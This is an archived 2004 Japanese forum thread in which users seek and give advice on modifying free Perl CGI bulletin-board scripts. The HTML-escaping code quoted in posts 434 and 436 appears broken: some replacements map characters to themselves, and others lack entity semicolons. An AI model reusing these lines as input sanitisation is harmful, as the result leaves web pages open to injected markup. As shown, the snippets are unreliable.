logふぁいるからbrowserへの出力。ここらへんの流れを教えていただけるとありがたいです。

386:385
04/08/02 04:19 j14ATa2k
User Agent に加えてリモートホスト情報も加えたいです。お願いいたします

387:nobodyさん
04/08/03 05:44
【スクリプト名】
メッセージアンケート(KENT-WEB)

【CGIソース】
URLリンク(kish.s60.xrea.com)

【改造したい内容】
以前丸投げスレで改造してもらったものなのですが、不具合が見つかりました。
KENT-WEBのメッセージアンケートにレスを付けられるようにしていただけたのですが、
レスをする前に他の人がレスをして、それが上がってしまうと順番が変わり、
レスをする場所がめちゃくちゃになってしまう、という不具合でだいぶ困っています。
言葉で説明するのが大変難しいのですが、簡単に言いますと、
自分がレスしようとしたところに必ずレスできるようにしたい、ということです。
あとできればレスに番号を付けたいと思っています。
よろしくお願いします。

388:387
04/08/03 14:59 DZnGogL/
ageさせていただきます

389:nobodyさん
04/08/03 15:23
>>385
PHPが作れて何故出来ない?

著作権を削ってる様な人間にサポートはないと思え。
回線切って逝ってよし

390:nobodyさん
04/08/03 18:58
URLリンク(www2u.biglobe.ne.jp)
ここのAero chatを入室退室表示を出さないようにし、
名前をクッキーに保存するようにしたいと思います。
どなたかアドバイスお願いしますm(._.)m

391:nobodyさん
04/08/05 14:22 qK3P86ts
 

392:nobodyさん
04/08/05 21:52
>>360
そこのBBSは問題あるな。
%formから受取ったものをそのままファイルに書き込んでる

393:nobodyさん
04/08/07 16:26 lGP8f5JH
【CGI名】 ミニ更新履歴帖 ver1.15 シンプルD ver1.13
【配布先URL】 URLリンク(www.kit.hi-ho.ne.jp)
【置き場所】 URLリンク(www.kit.hi-ho.ne.jp)
【依頼内容】 背景画像をランダムで表示できるようにしたいです

javascriptを用いてランダムに背景画像を表示するタグはわかりましたが、
このCGIのように至るところにheadがあるのでうまく表示できませんでした。

丸投げよりこちらに来ました。
どうか宜しくお願いします。

394:nobodyさん
04/08/08 19:04
じゃあ至るところのheadに入れたり入れなかったりして試せよ

395:547
04/08/09 10:40 huEHQGdL
kentさんのデータベースみたいに
URLリンク(www.kent-web.com)
検索をした後、リンクをクリックすると
詳細ページにいけるようにしたいのですが
どうすればいいのでしょうか?
△▲ WebProg 初心者の質問 Part9 ▼▽
から誘導されてきたのですが
詳細ページにいく時のリンクの張り方?がわからずに
止まっている状態です。
ちなみにCGIのソフトはCGIROOMの
URLリンク(cgiroom.nu)
を使っています。

よろしくお願いします。


396:nobodyさん
04/08/09 11:02
改造中のソースを晒してくれ

397:nobodyさん
04/08/09 11:07
>>394
解決しました
ありがとうございました

398:547
04/08/09 11:17 huEHQGdL
URLリンク(www.geocities.jp)
こちらになります。
<a href="db2.cgi?no=$data[1]">$data[1]</a>
たぶんここ↑をどうにかすればできると思うのですが。
今はdb2というCGIを別に作って中身はdbと同じ(表示する項目が違うだけ)
をつくりそこにリンクを張って詳細ページを作りたいと思っています。

399:nobodyさん
04/08/09 12:38
詳細ページを作る。
それを表示するクエリーストリングを決める。
そのクエリーストリングを受け取ったら表示させる。

そんだけ。

400:547
04/08/09 13:00 huEHQGdL
クエリーストリングですか?
できればわかりやすくお願いしたいのですが・・


401:nobodyさん
04/08/09 13:22
>>400
クエリーストリング以前にお前は詳細ページを表示するHTML部分を作ったか?

402:547
04/08/09 13:30 huEHQGdL
詳細を表示させるHTML部分は作成しました。

403:nobodyさん
04/08/09 13:38
じゃ、クエリーストリング…
cgi?以降のことだが…
これに使うのを決める。
例えば、cgi?view=商品ナンバー
商品ナンバーはdata[1]かな?
これを<a href= (ry に書いておけ

で、ここからが肝要
クエリーストリングを受け取ったら、お前が作った詳細を表示させるHTML部分…
サブルーチンにしてあるならそのサブルーチンを呼び出して表示する。

404:nobodyさん
04/08/09 14:58 lYQyr6Nk
すみません。
「amigo database」みたいな汎用データベースを
「php+mysql」で使えるようなスクリプトってありますか?
ご教示願います。

405:547
04/08/09 16:21 huEHQGdL
>クエリーストリングを受け取ったら、お前が作った詳細を表示させるHTML部分…
>サブルーチンにしてあるならそのサブルーチンを呼び出して表示する。
のところが分からないのですが・・・

おそらくサブルーチンは
sub seek{
だと思うのでそれを呼び出す 
&seek

すみませんこれまでしか分かりません。

406:nobodyさん
04/08/09 18:41
>>547
ん?
sub seekは検索にHITした物の一覧を表示するサブルーチンだろ?
その一覧に詳細表示させるリンクを作りたいと言うのがおまいのやりたい事だろ?
お前が作った詳細を表示させるHTMLはどこだ?

407:547
04/08/09 21:51 O8/Ygb0m
ん?
もしかして同じcgiの中に
sub syou{
$print .=<<HTML;
<!-- 詳細表示 -->
<td width="17%" bgcolor="#FFFFFF"> <p>名前</p></td>
<td width="83%" bgcolor="#FFFFFF">$data[1]</td>
HTML
}
&syou
見たいな感じで記述するんでしょうか?
この場合&syouで詳細を表示させるってことですか?
いまいち分からんです・・



408:547
04/08/09 21:52 O8/Ygb0m
ん?
もしかして同じcgiの中に
sub syou{
$print .=<<HTML;
<!-- 詳細表示 -->
<td width="17%" bgcolor="#FFFFFF"> <p>名前</p></td>
<td width="83%" bgcolor="#FFFFFF">$data[1]</td>
HTML
}
&syou
見たいな感じで記述するんでしょうか?
この場合&syouで詳細を表示させるってことですか?
いまいち分からんです・・



409:547
04/08/09 22:19 O8/Ygb0m
すみません2回投稿してしまった

410:nobodyさん
04/08/10 03:59
>>407-409
それで合ってる。

411:547
04/08/10 10:12 9CP1J+UA
なぜかポート80エラーに・・
URLリンク(www.geocities.jp)
今できてるところまでなんですが
やはりsub syou{の使い方がおかしいみたいなので
ご指摘お願いします

412:nobodyさん
04/08/10 12:17
単発質問なんですけど
KENT WEBのYY-BOARDで半角カナ使うと文字化けするんですけど
どうすれば半角カナ文字化けしなくなりますか?

413:nobodyさん
04/08/10 19:22
>>411
まず、オリジナルにあるsub footがないのでエラーが出てる。
&syouのあとにセミコロンがないのでエラーが出てる。

だいたいが&syou;の位置がぜんぜん違う。
もうちょっとがんばれ。

414:nobodyさん
04/08/10 19:22
>>412
文字コードをEUCにしる

415:nobodyさん
04/08/10 20:53
>>387をなんとかお願いできないでしょうか?

416:nobodyさん
04/08/10 23:12
>>415
他スレのものをなぜここへ持ち込む?

417:nobodyさん
04/08/11 04:31
>>415
神気取りのあいつの尻拭いをしたいヤシなどいない。

お前も悪い事したと反省しる!
小出しの依頼をしたことをな。

418:415
04/08/11 06:26
>>417
以前依頼したときも気になったんですが、小出しだけでなく追加依頼も禁止したほうが良いと思います。
私はあのとき小出しにしたつもりはなく、改造していただいたCGIを使用して初めて、ageの機能もあったほうがいいな…と思ったのです。
追加依頼も禁止ならば、そう明記してあったほうがより良いと思います。
ただ、頼む側は追加依頼という気持ちでも、頼まれる側は小出しに見えてしまいますから、前回そういう形になってしまったことは謝ります。
すみませんでした。

419:547
04/08/11 10:25 KDJbSiLZ
>413
なるほどsub foot抜けてますね。あとセミコロンも・・・

&syou;の位置がどうやっても分かりません。
URLリンク(www.web-terakoya.net)
とか見てみたんですが余計に混乱して・・・
もうちょっとヒントお願いします。

420:nobodyさん
04/08/11 16:47
>>418
(゚Д゚)ハァ?

追加依頼 = 小出し だろ!

もう来るな!!

421:418
04/08/11 17:25
>>420
その通りですね。本当にすみませんでした。

422:nobodyさん
04/08/11 17:49
>>419
あんまりにも長引いてしまっているので、サンプルを作ってみた。
URLリンク(marunage.web2.poporo.net)
こんなのでいいのかな?

あっ、漏れはオリジナルのを改造したんでな。
ファイル名はdatabase.cgiにしてくれよ。

423:547
04/08/11 21:05 AZrnpxJ0
うわぁ
ありがとうございますー。

んで早速アップーと思ったら
The server encountered an internal error or misconfiguration and was unable to complete your request.
と表示が・・・
調べてみたらCGI スクリプト内の問題が原因みたいなんですが
見たところで全然わかるはずもなく。。
ほんと申し訳ないですがもうちょっとだけ教えて
いただけないでしょうか?

424:547
04/08/11 21:11 AZrnpxJ0
って
デキタ━━(゚∀゚)━━!!
名前をつけて保存でなくて
そのままコピー&ペーストで貼り付けてやったら
できました!!
ありがとうございましたー。
>422のエライ人ありがとうでした。

425:nobodyさん
04/08/12 07:51
URLリンク(php.s3.to)
で複数の添付ファイルを受信するにはどの部分を修正すればいいのでしょうか?

426:nobodyさん
04/08/12 19:56
>>424
まだいるか?
ちょっと手直ししたぞ。
URLリンク(marunage.web2.poporo.net)

お礼が欲しいぞ。
↓に逝ってクリックしまくれ

クリックで救える命がある。 
URLリンク(www.dff.jp)

427:547
04/08/13 13:07 X3c1TvpR
>>426
まだいましたー。
何度もありがとうございます。
UPして確認したいですが今サーバーが落ちてるみたいなので
確認できません。。
でもソース見る限りでは説明文が入ったりして
すごくありがたいです。。

今そのソースを新規にウインドウを立ち上げるのではなく
同一ページ?に開くようにしてるのですが。
むずかしいですねー。
とりあえず新しいページを出さないようにするには
"javascript:void(0)" onClick="window.open
のとこをを削ればいいみたいなのはわかりました。
これからもうちょっと改造していきたいと思ってます。

クリックしてきましたー。
とりあえず毎日クリックしてお礼の代わりとさせていただきますので。
またなにかあったらよろしくお願いします。。


428:412
04/08/13 17:11
文字コードをEUCにするってのはheaderの部分のcharsetをEUC-JPにするって事ですか?
それともEUCで保存するって事ですか?
両方やってみましたがこれをやると文字が全部文字化けしちゃいます

429:nobodyさん
04/08/14 02:08
>>412
>>79

430:nobodyさん
04/08/14 02:28 YM4iJTAR
KENT氏のサイトで紹介あるよ。ここの8ね。最低限配布サイトで調べてから来ようよ。
URLリンク(www.kent-web.com)

431:nobodyさん
04/08/15 00:51 ThpZR4Ya
C-BOARDで、投稿画面に追加したセレクトボックスの
投稿データチェック(未選択不可)を行いたいのですが、
どうすればいいのですか?

下記のところに、新しく追加したら大丈夫だと思うのですが..
チェックの仕方がわかりません。

#─ メールアドレスをチェック
length($::FORM{'email'})
&& ($::FORM{'email'} !~ /^[!-?A-~]+@[!-?A-~]+\.[!-?A-~]+$/)
&& push(@error, 'メールアドレスが不正です。');

#─ パスワードをチェック
($::FORM{'key'} =~ /[<>&"]/)
&& &::error(\('パスワードに「<, >, &, "」は'
. '使えません。'));

432:nobodyさん
04/08/15 01:19
コピペかよ・・・

433:nobodyさん
04/08/15 20:34 ACdvGoXy
あげ

434:nobodyさん
04/08/19 00:28
KENT-WEBさんのYY-BOARDの改造に関する質問です。
同サイトのサポート掲示板で


# タグ処理
$val =~ s/&/&/g;
$val =~ s/"/"/g;
$val =~ s/</</g;
$val =~ s/>/>/g;
$val =~ s/\0//g;

このような記述が書かれている行のあとに、
$val = s/変換前の文字列/変換後の文字列/g;
こんな感じの文を追加すると特定の文字列の表示を変換できる。


という記述を見つけたのですが、これを応用して、

<< >>で囲まれた文字列は全て※※※※に変換する

ということはできますでしょうか?
できましたら具体的なスクリプトも提示して下さると幸いです。宜しくお願い致します。

435:nobodyさん
04/08/19 05:37
できるよー。
いま時間とテスト環境がないから書かないけど(嘘を教えたらイヤなので)、
きっと正規表現のえらい人が教えてくれるでしょう。

436:nobodyさん
04/08/19 10:48
>>434
> KENT-WEBさんのYY-BOARDの改造に関する質問です。
またか。。。

> << >>で囲まれた文字列は全て※※※※に変換する

> $val =~ s/</&lt;/g;
> $val =~ s/>/& gt;/g;
する前に変換すること。
凡例:
$val =~ s|<<(.+)>>|<em>$1</em>|g;
注意点:
<<ABC<<いろは>>DEF>>
は、
<em>ABC<<いろは>>DEF</em>
となる。(ただし<em></em>が&lt;em&gt;&lt;/em&gt;となるので、この分を再変換すること)

# タグ処理
$val =~ s|<<(.+)>>|<em>$1</em>|g; # <<>>で囲まれたものを。。。
$val =~ s/&/&amp/g;
$val =~ s/"/&quot/g;
$val =~ s/<(?!/?em>)/&lt;/g; # <em> の復元1
$val =~ s/(?<!</?em)>/&gt;/g; # <em> の復元2
$val =~ s/\0//g;

437:434
04/08/20 18:44
>>435-436

 教えて下さりありがとうございました。言われたとおり実行したところ変換することが出来ました。
 ただ、この方法だとログ自体が書き換わってしまい、実際に何を書き込んだのかを確認することが出来ませんでした。
 表示部分のみ書き換える方法はありませんでしょうか?
 多分、 $val =~ s|<<(.+)>>|<em>$1</em>|g;  の行を挿入する位置の問題だと思うのですが。

438:nobodyさん
04/08/20 22:03
>>437
丸投げ君はスレ違いですよー
それくらい解析しましょうねー

439:nobodyさん
04/08/28 10:16
【.  CGI名  .】 WebPatio Ver: 1.51
【配布先URL】 URLリンク(www.kent-web.com)
【. 依頼内容 】
書き込み・返信を管理者のみしか出来ないようにしたいのと、管理識別用文字列の機能とトリップ機能、fusianasan機能を入れたいんですが、どうしたら良いのでしょうか?

440:nobodyさん
04/08/28 15:26
>>439
スレリンク(php板:60-66番)

441:nobodyさん
04/08/28 22:47
質問があります。KENTWEBで公開されているWEB PATIOを改造したいのですが、
以下のようにするにはどのような方法がありますか。回答していただければ幸いです。
1. トリップ機能の付加
2. 各スレッド及びレスへIP表示機能の追加。
3. スレッド作成時及びレスをするときの確認画面。
以上の機能を追加したいのですが、ご教授下さい。


442:nobodyさん
04/08/28 23:22
>>441
1. regist.cgi の sub regist の中で $i_nam をいじる
2. regist.cgi の sub regist の中で $i_nam や $i_sub に $host をくっつける
3. regist.cgi の sub regist を regist2 にでも変えて、
 regist は hidden で値を持たせて regist2 に投稿できる確認画面表示にする。

443:nobodyさん
04/08/29 00:11 d+jXT+vh
webアンケートについて教えてください。

URLリンク(www.narishin.com)

上記サイトのWeb Qnaire 1(一つ目のサンプル)についてなんですが、
自分のホームページになんとか設置できたのはいいんですが、
テストしようとしても、エラーが出て連続投稿は受け付けないと表示されます。
下のヒントの言う通りにCGIをいじってもダメでした。
どうか連続投稿できるように教えてください。

444:nobodyさん
04/08/29 01:29
■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ) part2
スレリンク(php板:2番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

445:nobodyさん
04/09/03 00:36 khCAQhgB
【.  CGI名  .】 T-BookmarkPlus Final
【配布先URL】 URLリンク(www.de-bug.net)
【 置き場所 .】 URLリンク(primrose.sakura.ne.jp)
CGIのテキストファイル
         URLリンク(primrose.sakura.ne.jp)
【ヘルプ内容】 置き場所で表示している左フレームの文字サイズを小さくしたいんですが…
        HTMLのファイルにタグを入れてもダメポだったので…
        配布サイトでのサポート板には入ることが出来ませんでした。
        テキストファイルは、左フレームが処理しているCGIです。
        …説明ベタで申し訳ありません。
        よろしくお願いします。


446:445
04/09/03 01:55 khCAQhgB
申し訳ありません!
自己解決しました…

447:nobodyさん
04/09/19 13:19:03 4/TOgomW
【.  CGI名  .】 WebPatio Ver: 1.51
【配布先URL】 URLリンク(www.kent-web.com)
【依頼内容】
こちらの掲示板で、スレッド毎にパスワードによる閲覧制限をし、パスワードを各スレッド毎に設定したいのです。
どのスレッドにも共通して仕様できるパスワードと、ユーザーが使用する各スレッドに割り当てたパスワードによる制限です

ver.1.2ならば、改造方法を掲載している所を見つけたのですが、1.51だと少し異なるようで、指定されている変更ではエラーとなります。

また、同時に投稿を管理者のみにしたいのですが、どうすればよいのでしょうか?




448:nobodyさん
04/09/19 16:54:35
エラーとなるとかどうすればいいかって、お前な。。。
このスクリプトをこんな風にしたくてこんな改造を施したんですがこんなエラーが出てしまいますっていうふうに書かないと誰もどうすることも出来ない。

449:nobodyさん
04/09/20 00:23:32 tFiVPHxE
>>447
ver.1.2の「改造方法を掲載している所」を貼るのがいいと思うよ。
運と心象が良いとエロイ人が微妙なヒントをくれるよ。

450:nobodyさん
04/09/20 09:46:44
KヨNTのWebPatioが出来る以前に同じ名前のスレッドフロート掲示板を作ったことがあったんだけど、
Niftyの商標に引っかかりそうだったんでさっさと排除したんだよなぁ。

KヨNTはそのあたりのことを気にとめているのだろうか。

451:nobodyさん
04/09/20 09:53:35
スレ違い

452:445
04/09/20 17:14:59 MKPCc/Nf
自己解決しました
お騒がせしました

453:nobodyさん
04/09/22 11:34:26
<?php print(">>452\n?"); ?>

454:nobodyさん
04/09/23 10:23:18 fGLKapG0
SSIで表示するカウンターを改造し、
gif画像連結ライブラリを使ってimgタグで呼び出すものを作ったのですが、
Content-Lengthを入れると表示されなくなってしまいます。

@files = ();
for ($i = 0; $i < length($count); $i++) {
$n = substr($count, $i, 1);
push(@files, "$n.gif");
}

require "gifcat.pl";
print "Content-type: image/gif\n\n";

binmode(STDOUT);
print &gifcat'gifcat(@files);
exit;
このような感じなのですが、どうすればうまくいくのでしょうか・・・?

455:nobodyさん
04/09/23 13:41:37

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

456:nobodyさん
04/09/23 19:53:52
>>454
print "Content-type: image/gif\n";
print "Content-length: ".$length."\n\n";
とかするんじゃないのか?


457:nobodyさん
04/09/23 20:00:38
[スクリプト名]Ezbo type3
[スクリプト内容]アイコン型掲示板
[配布先URL]URLリンク(homepage2.nifty.com)
[置き場所]URLリンク(www.tiara.cc)

ここのアイコン掲示板CGIなんですが、2chのように半角カナが使えません。
ですが、半角カナの使えないCGI掲示板は殆どの場合、簡単な修正で
半角カナを使えるようにする事が出来ると聞きました。
(Web初心者板で聞きました。詳細はWebProg板に行くように誘導されました)

このCGIの場合、どの辺をどのように書き換えたら良いのでしょうか?


458:nobodyさん
04/09/23 20:24:00
大抵はjcode.plを読み込んでるから、それをjcodeg.plに変えれば結構半角になる。
jcode.plは適当に検索で探してみて。


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch